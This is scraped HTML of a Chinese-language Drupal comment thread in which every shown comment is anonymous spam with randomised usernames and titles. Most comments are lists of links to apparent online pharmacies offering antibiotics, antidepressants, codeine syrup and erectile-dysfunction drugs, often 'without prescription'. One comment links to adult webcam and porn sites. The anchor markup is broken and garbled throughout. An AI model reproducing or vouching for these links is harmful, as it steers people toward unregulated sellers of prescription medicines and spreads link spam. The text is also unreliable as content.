0.05 mg</a> <a href="
<a href='http://tadalafil365.com/">generic'>
http://tadalafil365.com/">generic
</a>
cialis tadalafil</a> <a href="
<a href='http://motilium5.com/">motilium'>
http://motilium5.com/">motilium
</a>
usa</a> <a href="
<a href='http://amoxicillin5.com/">amoxicillin'>
http://amoxicillin5.com/">amoxicillin
</a>
500 mg online</a> <a href="
<a href='http://propecia8.com/">finasteride'>
http://propecia8.com/">finasteride
</a>
1mg</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/280">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-287">
</a>
<div about="/comment/287#comment-287" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
inwavy (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:15:39+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:15
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/287#comment-287" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/287#comment-287" rel="bookmark">
yzww
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://fromcats.com/">clomid'>
https://fromcats.com/">clomid
</a>
pills</a> <a href="
<a href='https://bestinjacksonville.com/">prednisone'>
https://bestinjacksonville.com/">prednisone
</a>
prednisolone</a> <a href="
<a href='https://ashantibiz.com/">benicar'>
https://ashantibiz.com/">benicar
</a>
generic</a> <a href="
<a href='https://beprepared.institute/">buy'>
https://beprepared.institute/">buy
</a>
zanaflex</a> <a href="
<a href='https://cornellroofing.us/">vermox'>
https://cornellroofing.us/">vermox
</a>
online</a> <a href="
<a href='https://case-land.ca/">buy'>
https://case-land.ca/">buy
</a>
cheap zithromax</a> <a href="
<a href='https://56s.company/">generic'>
https://56s.company/">generic
</a>
motilium</a> <a href="
<a href='https://datevietnameses.com/">elavil'>
https://datevietnameses.com/">elavil
</a>
medicine</a> <a href="
<a href='https://convergence.tv/">cleocin</a>'>
https://convergence.tv/">cleocin</a>
</a>
<a href="
<a href='https://albertasteak.com/">wellbutrin</a>'>
https://albertasteak.com/">wellbutrin</a>
</a>
<a href="
<a href='https://coecretepumps.co.uk/">metformin</a>'>
https://coecretepumps.co.uk/">metformin</a>
</a>
<a href="
<a href='https://analogdigitaldesign.com.au/">proscar'>
https://analogdigitaldesign.com.au/">proscar
</a>
bph</a> <a href="
<a href='https://directtv-bundles.com/">zithromax</a>'>
https://directtv-bundles.com/">zithromax</a>
</a>
<a href="
<a href='https://cyphercode.org/">synthroid</a>'>
https://cyphercode.org/">synthroid</a>
</a>
<a href="
<a href='https://mycoastalrower.com/">motilium'>
https://mycoastalrower.com/">motilium
</a>
domperidone</a> <a href="
<a href='https://leafscent.com/">order'>
https://leafscent.com/">order
</a>
abilify</a> <a href="
<a href='https://bola99.biz/">aldactone'>
https://bola99.biz/">aldactone
</a>
for pcos</a> <a href="
<a href='https://biosdynamic.com/">erythromycin</a>'>
https://biosdynamic.com/">erythromycin</a>
</a>
<a href="
<a href='https://jpdev.uk/">price'>
https://jpdev.uk/">price
</a>
of benicar</a> <a href="
<a href='https://forgivenessstudentloansnow.org/">clomid</a>'>
https://forgivenessstudentloansnow.org/">clomid</a>
</a>
<a href="
<a href='https://educatours.org/">cost'>
https://educatours.org/">cost
</a>
of paxil</a> <a href="
<a href='https://developingelectronics.com/">amoxil'>
https://developingelectronics.com/">amoxil
</a>
antibiotic</a> <a href="
<a href='https://historyebooks.net/">aldactone'>
https://historyebooks.net/">aldactone
</a>
for pcos</a> <a href="
<a href='https://agapepartners.net/">proscar</a>'>
https://agapepartners.net/">proscar</a>
</a>
<a href="
<a href='https://4builder.uk/">dapoxetine</a>'>
https://4builder.uk/">dapoxetine</a>
</a>
<a href="
<a href='https://bitencore.com/">toradol</a>'>
https://bitencore.com/">toradol</a>
</a>
<a href="
<a href='https://medplanadvisers.net/">buy'>
https://medplanadvisers.net/">buy
</a>
toprol xl</a> <a href="
<a href='https://ayearwithmypen.com/">proscar</a>'>
https://ayearwithmypen.com/">proscar</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/287">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-302">
</a>
<div about="/comment/302#comment-302" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Free Adult Cam Chat (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:19:33+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:19
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/302#comment-302" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/302#comment-302" rel="bookmark">
nubxdjsz
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='http://maturewebcam.stream/">chaturbate'>
http://maturewebcam.stream/">chaturbate
</a>
webcam</a> <a href="
<a href='http://hotwebcamgirls.stream/">hot'>
http://hotwebcamgirls.stream/">hot
</a>
webcam girls</a> <a href="
<a href='http://freesexchatrooms.stream/">ebony'>
http://freesexchatrooms.stream/">ebony
</a>
webcam masturbation</a> <a href="
<a href='http://slutcams.icu/">milf'>
http://slutcams.icu/">milf
</a>
cams</a> <a href="
<a href='http://freeonlinesex.site/">online'>
http://freeonlinesex.site/">online
</a>
sex chat</a> <a href="
<a href='http://freeadultwebcam.fun/">kinky'>
http://freeadultwebcam.fun/">kinky
</a>
adult chat</a> <a href="
<a href='http://hotwebcamgirls.icu/">streamate'>
http://hotwebcamgirls.icu/">streamate
</a>
granny</a> <a href="
<a href='http://freeadultwebcamchatrooms.site/">free'>
http://freeadultwebcamchatrooms.site/">free
</a>
adult webcam chat rooms</a> <a href="
<a href='http://adultcams.ga/">adult'>
http://adultcams.ga/">adult
</a>
cams</a> <a href="
<a href='http://freeliveporn.site/">free'>
http://freeliveporn.site/">free
</a>
live porn</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/302">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-305">
</a>
<div about="/comment/305#comment-305" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Ambime (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:22:03+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:22
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/305#comment-305" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/305#comment-305" rel="bookmark">
qwky
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://junkcar.cc/">suhagra'>
https://junkcar.cc/">suhagra
</a>
without prescription</a> <a href="
<a href='https://breakingbadhabits.xyz/">amitriptyline</a>'>
https://breakingbadhabits.xyz/">amitriptyline</a>
</a>
<a href="
<a href='https://blazestrikes.com/">generic'>
https://blazestrikes.com/">generic
</a>
cafergot</a> <a href="
<a href='https://blueberrybytes.com/">tetracycline'>
https://blueberrybytes.com/">tetracycline
</a>
pills</a> <a href="
<a href='https://computerscrews.us/">toradol</a>'>
https://computerscrews.us/">toradol</a>
</a>
<a href="
<a href='https://cukijyrewp.website/">zestril'>
https://cukijyrewp.website/">zestril
</a>
lisinopril</a> <a href="
<a href='https://global-industry-veterans-elite.net/">ampicillin</a>'>
https://global-industry-veterans-elite.net/">ampicillin</a>
</a>
<a href="
<a href='https://247permits.com/">strattera</a>'>
https://247permits.com/">strattera</a>
</a>
<a href="
<a href='https://diffusiondice.us/">ampicillin</a>'>
https://diffusiondice.us/">ampicillin</a>
</a>
<a href="
<a href='https://hopeintoaction.com/">furosemide</a>'>
https://hopeintoaction.com/">furosemide</a>
</a>
<a href="
<a href='https://digitalmathlibrary.net/">purchase'>
https://digitalmathlibrary.net/">purchase
</a>
amitriptyline</a> <a href="
<a href='https://fluentphi.com/">levitra'>
https://fluentphi.com/">levitra
</a>
usa</a> <a href="
<a href='https://car-repair.shop/">vermox'>
https://car-repair.shop/">vermox
</a>
tablets</a> <a href="
<a href='https://ekahiaoao.net/">doxycycline'>
https://ekahiaoao.net/">doxycycline
</a>
antimalarial</a> <a href="
<a href='https://centroecuestreelasturcon.org/">zithromax'>
https://centroecuestreelasturcon.org/">zithromax
</a>
online</a> <a href="
<a href='https://myrfashion.net/">albuterol'>
https://myrfashion.net/">albuterol
</a>
atrovent</a> <a href="
<a href='https://anglosaxonchronicle.com/">citalopram</a>'>
https://anglosaxonchronicle.com/">citalopram</a>
</a>
<a href="
<a href='https://chichachicken.com/">antabuse'>
https://chichachicken.com/">antabuse
</a>
uk</a> <a href="
<a href='https://bondoftrust.org/">cheap'>
https://bondoftrust.org/">cheap
</a>
generic propecia</a> <a href="
<a href='https://bluebear-cyber.com/">order'>
https://bluebear-cyber.com/">order
</a>
atenolol online</a> <a href="
<a href='https://bestenkasinospiele.com/">ampicillin</a>'>
https://bestenkasinospiele.com/">ampicillin</a>
</a>
<a href="
<a href='https://dodgersvsbrewers.de/">avodart'>
https://dodgersvsbrewers.de/">avodart
</a>
online</a> <a href="
<a href='https://bet88.pw/">buy'>
https://bet88.pw/">buy
</a>
azithromycin online</a> <a href="
<a href='https://bee-cash.com/">trazodone</a>'>
https://bee-cash.com/">trazodone</a>
</a>
<a href="
<a href='https://florist-armenia.shop/">phenergan'>
https://florist-armenia.shop/">phenergan
</a>
25 mg</a> <a href="
<a href='https://boisedisastercleanup.com/">generic'>
https://boisedisastercleanup.com/">generic
</a>
for zanaflex</a> <a href="
<a href='https://britenetmedia.com/">buy'>
https://britenetmedia.com/">buy
</a>
arimidex</a> <a href="
<a href='https://educator-savjetovanje.hr/">zoloft</a>'>
https://educator-savjetovanje.hr/">zoloft</a>
</a>
<a href="
<a href='https://haveacookie.org/">valtrex</a>'>
https://haveacookie.org/">valtrex</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/305">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-327">
</a>
<div about="/comment/327#comment-327" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
SueKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:29:21+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:29
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/327#comment-327" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/327#comment-327" rel="bookmark">
vnimvgdd
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://albuterol24.com/">buy'>
https://albuterol24.com/">buy
</a>
albuterol inhaler</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/327">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-341">
</a>
<div about="/comment/341#comment-341" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
NickHag (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:38:59+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:38
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/341#comment-341" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/341#comment-341" rel="bookmark">
pfqqnosu
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://zithromax500.com/">buy'>
https://zithromax500.com/">buy
</a>
zithromax without prescription</a> <a href="
<a href='https://amoxicillin911.com/">amoxicillin'>
https://amoxicillin911.com/">amoxicillin
</a>
tablets</a> <a href="
<a href='https://buyrobaxinonline.com/">robaxin'>
https://buyrobaxinonline.com/">robaxin
</a>
500 mg tablets</a> <a href="
<a href='https://prednisolone911.com/">buy'>
https://prednisolone911.com/">buy
</a>
prednisolone 5mg</a> <a href="
<a href='https://lisinopril0.com/">lisinopril</a>'>
https://lisinopril0.com/">lisinopril</a>
</a>
<a href="
<a href='https://tadalafilgeneric20.com/">tadalafil'>
https://tadalafilgeneric20.com/">tadalafil
</a>
generic cialis</a> <a href="
<a href='https://metformin1000.com/">metformin</a>'>
https://metformin1000.com/">metformin</a>
</a>
<a href="
<a href='https://buysildenafil50.com/">sildenafil'>
https://buysildenafil50.com/">sildenafil
</a>
citrate 50 mg</a> <a href="
<a href='https://tadalafil24.com/">tadalafil'>
https://tadalafil24.com/">tadalafil
</a>
10</a> <a href="
<a href='https://cheapprednisolone.com/">buy'>
https://cheapprednisolone.com/">buy
</a>
online 10mg prednisolone</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/341">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-346">
</a>
<div about="/comment/346#comment-346" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
JasonHag (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:41:24+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:41
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/346#comment-346" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/346#comment-346" rel="bookmark">
hjxjzuia
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://synthroid75.com/">synthroid</a>'>
https://synthroid75.com/">synthroid</a>
</a>
<a href="
<a href='https://tadalafil365.com/">tadalafil'>
https://tadalafil365.com/">tadalafil
</a>
price</a> <a href="
<a href='https://lasix911.com/">lasix</a>'>
https://lasix911.com/">lasix</a>
</a>
<a href="
<a href='https://doxycycline1.com/">doxycycline</a>'>
https://doxycycline1.com/">doxycycline</a>
</a>
<a href="
<a href='https://propecia8.com/">how'>
https://propecia8.com/">how
</a>
much is propecia</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/346">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-358">
</a>
<div about="/comment/358#comment-358" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
inwavy (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:47:09+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:47
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/358#comment-358" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/358#comment-358" rel="bookmark">
oggg
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://1stbravocompany.com/">levitra</a>'>
https://1stbravocompany.com/">levitra</a>
</a>
<a href="
<a href='https://1889.co.za/">amoxil'>
https://1889.co.za/">amoxil
</a>
500</a> <a href="
<a href='https://sonjabarton.com/">tretinoin'>
https://sonjabarton.com/">tretinoin
</a>
cream .025</a> <a href="
<a href='https://seancerevealed.com/">how'>
https://seancerevealed.com/">how
</a>
much is strattera</a> <a href="
<a href='https://odakhrs.com/">retin'>
https://odakhrs.com/">retin
</a>
a buy</a> <a href="
<a href='https://coachfactoryoutlethandbags.com/">actos'>
https://coachfactoryoutlethandbags.com/">actos
</a>
30mg</a> <a href="
<a href='https://accademiasvizzerapnl.ch/">purchase'>
https://accademiasvizzerapnl.ch/">purchase
</a>
lipitor</a> <a href="
<a href='https://beprepared.institute/">zanaflex'>
https://beprepared.institute/">zanaflex
</a>
pills</a> <a href="
<a href='https://flowersarmenia.shop/">zyban'>
https://flowersarmenia.shop/">zyban
</a>
for smoking</a> <a href="
<a href='https://auctionarto.com/">buy'>
https://auctionarto.com/">buy
</a>
toprol xl</a> <a href="
<a href='https://car-repair.shop/">vermox</a>'>
https://car-repair.shop/">vermox</a>
</a>
<a href="
<a href='https://bc-creations.info/">cleocin</a>'>
https://bc-creations.info/">cleocin</a>
</a>
<a href="
<a href='https://chinaracing-media.com/">vasotec'>
https://chinaracing-media.com/">vasotec
</a>
generic</a> <a href="
<a href='https://acvafaculty.org/">lisinopril'>
https://acvafaculty.org/">lisinopril
</a>
5mg</a> <a href="
<a href='https://chapmansrepair.com/">zithromax</a>'>
https://chapmansrepair.com/">zithromax</a>
</a>
<a href="
<a href='https://givegetter.net/">prednisone'>
https://givegetter.net/">prednisone
</a>
prednisolone</a> <a href="
<a href='https://90daycontentcure.com/">dapoxetine</a>'>
https://90daycontentcure.com/">dapoxetine</a>
</a>
<a href="
<a href='https://ad-crafts.com/">zoloft'>
https://ad-crafts.com/">zoloft
</a>
ocd</a> <a href="
<a href='https://bmwanted.nl/">kamagra'>
https://bmwanted.nl/">kamagra
</a>
soft</a> <a href="
<a href='https://123wow.pl/">generic'>
https://123wow.pl/">generic
</a>
kamagra</a> <a href="
<a href='https://ambassador-track.com/">phenergan'>
https://ambassador-track.com/">phenergan
</a>
with codeine cough syrup</a> <a href="
<a href='https://haigui123.net/">cipro'>
https://haigui123.net/">cipro
</a>
250mg</a> <a href="
<a href='https://dlc1-whm.us/">antabuse'>
https://dlc1-whm.us/">antabuse
</a>
ordering</a> <a href="
<a href='https://blockbustermemoir.com/">valtrex'>
https://blockbustermemoir.com/">valtrex
</a>
buy</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/358">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-373">
</a>
<div about="/comment/373#comment-373" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
inwavy (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:52:55+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:52
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/373#comment-373" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/373#comment-373" rel="bookmark">
hbor
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://dereknovy.com/">toradol'>
https://dereknovy.com/">toradol
</a>
generic</a> <a href="
<a href='https://goyarram.com.au/">metformin</a>'>
https://goyarram.com.au/">metformin</a>
</a>
<a href="
<a href='https://arcshot.us/">buy'>
https://arcshot.us/">buy
</a>
buspar</a> <a href="
<a href='https://capstonecomputerservices.com/">kamagra</a>'>
https://capstonecomputerservices.com/">kamagra</a>
</a>
<a href="
<a href='https://medicina-uvm.net/">cleocin'>
https://medicina-uvm.net/">cleocin
</a>
antibiotics</a> <a href="
<a href='https://craniumcoffee.org/">advair'>
https://craniumcoffee.org/">advair
</a>
250</a> <a href="
<a href='https://communicationstakato.com/">erythromycin</a>'>
https://communicationstakato.com/">erythromycin</a>
</a>
<a href="
<a href='https://eurostyle.ir/">cost'>
https://eurostyle.ir/">cost
</a>
of diflucan</a> <a href="
<a href='https://azconexbox.com/">dapoxetine'>
https://azconexbox.com/">dapoxetine
</a>
over the counter</a> <a href="
<a href='https://2homes2moms.net/">generic'>
https://2homes2moms.net/">generic
</a>
propecia</a> <a href="
<a href='https://auctionarto.com/">toprol'>
https://auctionarto.com/">toprol
</a>
xl 50 mg tablets</a> <a href="
<a href='https://aegrm.website/">how'>
https://aegrm.website/">how
</a>
much is levitra</a> <a href="
<a href='https://bigdatalab.ca/">viagra'>
https://bigdatalab.ca/">viagra
</a>
prescriptions</a> <a href="
<a href='https://belowcloseout.com/">atenolol'>
https://belowcloseout.com/">atenolol
</a>
order</a> <a href="
<a href='https://jamesroyaljr.com/">tadacip'>
https://jamesroyaljr.com/">tadacip
</a>
cipla</a> <a href="
<a href='https://changeyourstory.info/">antabuse'>
https://changeyourstory.info/">antabuse
</a>
uk</a> <a href="
<a href='https://gandgcosmetics.com/">avodart</a>'>
https://gandgcosmetics.com/">avodart</a>
</a>
<a href="
<a href='https://budbay.org/">clomid</a>'>
https://budbay.org/">clomid</a>
</a>
<a href="
<a href='https://convergence.tv/">cleocin'>
https://convergence.tv/">cleocin
</a>
t gel</a> <a href="
<a href='https://deltawing.org/">xenical</a>'>
https://deltawing.org/">xenical</a>
</a>
<a href="
<a href='https://cyphercode.org/">synthroid</a>'>
https://cyphercode.org/">synthroid</a>
</a>
<a href="
<a href='https://healthcxo.co.za/">zithromax'>
https://healthcxo.co.za/">zithromax
</a>
without prescription</a> <a href="
<a href='https://computerscrews.us/">toradol'>
https://computerscrews.us/">toradol
</a>
tablets</a> <a href="
<a href='https://aluminummagnets.com/">antabuse'>
https://aluminummagnets.com/">antabuse
</a>
250 mg</a> <a href="
<a href='https://forgivenessstudentloansnow.org/">clomid'>
https://forgivenessstudentloansnow.org/">clomid
</a>
100mg</a> <a href="
<a href='https://globalmigrants.org/">acyclovir'>
https://globalmigrants.org/">acyclovir
</a>
buy</a> <a href="
<a href='https://max8organs.net/">deltasone</a>'>
https://max8organs.net/">deltasone</a>
</a>
<a href="
<a href='https://goldcountryamputees.org/">albuterol'>
https://goldcountryamputees.org/">albuterol
</a>
online</a> <a href="
<a href='https://digitalreadouts.ca/">propranolol'>
https://digitalreadouts.ca/">propranolol
</a>
er</a> <a href="
<a href='https://brickbook.org/">cafergot</a>'>
https://brickbook.org/">cafergot</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/373">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-381">
</a>
<div about="/comment/381#comment-381" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
JasonKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:55:43+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:55
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/381#comment-381" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/381#comment-381" rel="bookmark">
mswzqkvb
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://synthroid75.com/">synthroid'>
https://synthroid75.com/">synthroid
</a>
without prescription</a> <a href="
<a href='https://sildenafil75.com/">buy'>
https://sildenafil75.com/">buy
</a>
sildenafil online</a> <a href="
<a href='https://tadalafil365.com/">buy'>
https://tadalafil365.com/">buy
</a>
tadalafil 20mg</a> <a href="
<a href='https://propecia8.com/">finasteride'>
https://propecia8.com/">finasteride
</a>
tablets</a> <a href="
<a href='https://motilium5.com/">motilium'>
https://motilium5.com/">motilium
</a>
for breastfeeding</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/381">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-432">
</a>
<div about="/comment/432#comment-432" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
KiaKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T08:26:00+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 08:26
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/432#comment-432" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/432#comment-432" rel="bookmark">
tewoindj
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://valtrex1.com/">valtre</a>'>
https://valtrex1.com/">valtre</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/432">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-438">
</a>
<div about="/comment/438#comment-438" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
EvaKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T08:29:03+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 08:29
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/438#comment-438" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/438#comment-438" rel="bookmark">
pzvtpcfr
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
